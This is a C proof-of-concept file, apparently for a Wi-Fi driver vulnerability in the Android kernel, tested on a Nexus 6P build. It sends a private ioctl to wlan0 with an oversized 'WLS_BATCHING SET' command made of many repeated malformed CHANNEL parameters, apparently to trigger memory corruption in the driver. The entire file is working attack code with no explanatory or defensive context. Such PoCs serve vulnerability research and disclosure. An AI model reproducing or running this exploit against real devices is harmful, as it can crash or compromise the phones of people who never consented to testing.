// test the poc on nexus-6p with
// fingerprint:  google/angler/angler:6.0.1/MTC19T/2741993:user/release-keys
#include <stdio.h>  
#include <stdlib.h>  
#include <unistd.h>  
#include <string.h>  
#include <errno.h>
#include <netinet/in.h>
#include <net/if.h>  
#include <linux/wireless.h>

typedef struct hdd_priv_data_s
{
   char *buf;
   int used_len;
   int total_len;
}hdd_priv_data_t;

#define CMD_WLS_BATCHING        "WLS_BATCHING"
#define PNO_BATCHING_SET "SET" 
#define PNO_PARAM_CHANNEL "CHANNEL"
#define NUMCHANNELS 2 
#define SIZE 8192 
char badstr[NUMCHANNELS+2] = {0};

void test_ioctl(int sockfd, char* name)
{
        int cmd, len, i, j;
        struct ifreq ifr;
	hdd_priv_data_t priv_data;
        char buf[SIZE] = {0};
	char* badpstr = badstr;
	char* str;
	int NCHAN;
	priv_data.buf = str = &buf[0];
	cmd = SIOCDEVPRIVATE + 1;
        strcpy( ifr.ifr_name, name);
	ifr.ifr_data = &priv_data;
	*badpstr='<';
	badpstr++;
	for(i=0; i <NUMCHANNELS; i++) {
		*badpstr++='a';
		*badpstr++=',';
	}
	badpstr--;
	*badpstr='>';

	printf("badstr=%s\n",badstr);

	i = sprintf(str, "WLS_BATCHING SET ");
	i += sprintf(str+i, "%s=%s ", "CHANNEL", "<A,A>");
	NCHAN = rand() % 64 + 64;
	for(j=0;j<NCHAN;j++) {
		i += sprintf(str+i, "%s=%s ", "CHANNEL", badstr);
	}

	//printf("i = %d, buf=%s\n",i, str);

	priv_data.total_len = SIZE;

	if( ioctl( sockfd, cmd, &ifr) < 0) {
		printf("error %s\n",strerror(errno));
	}
}


int main()
{
	int sockfd;
	char* ifname = "wlan0";
	srand(time(NULL));
	if((sockfd = socket(AF_INET, SOCK_DGRAM, 0))<0)
	{
		printf("socket = %d, %s\n",sockfd,strerror(errno));
		exit(1);
	}
	test_ioctl(sockfd, ifname);
	return 0;
}
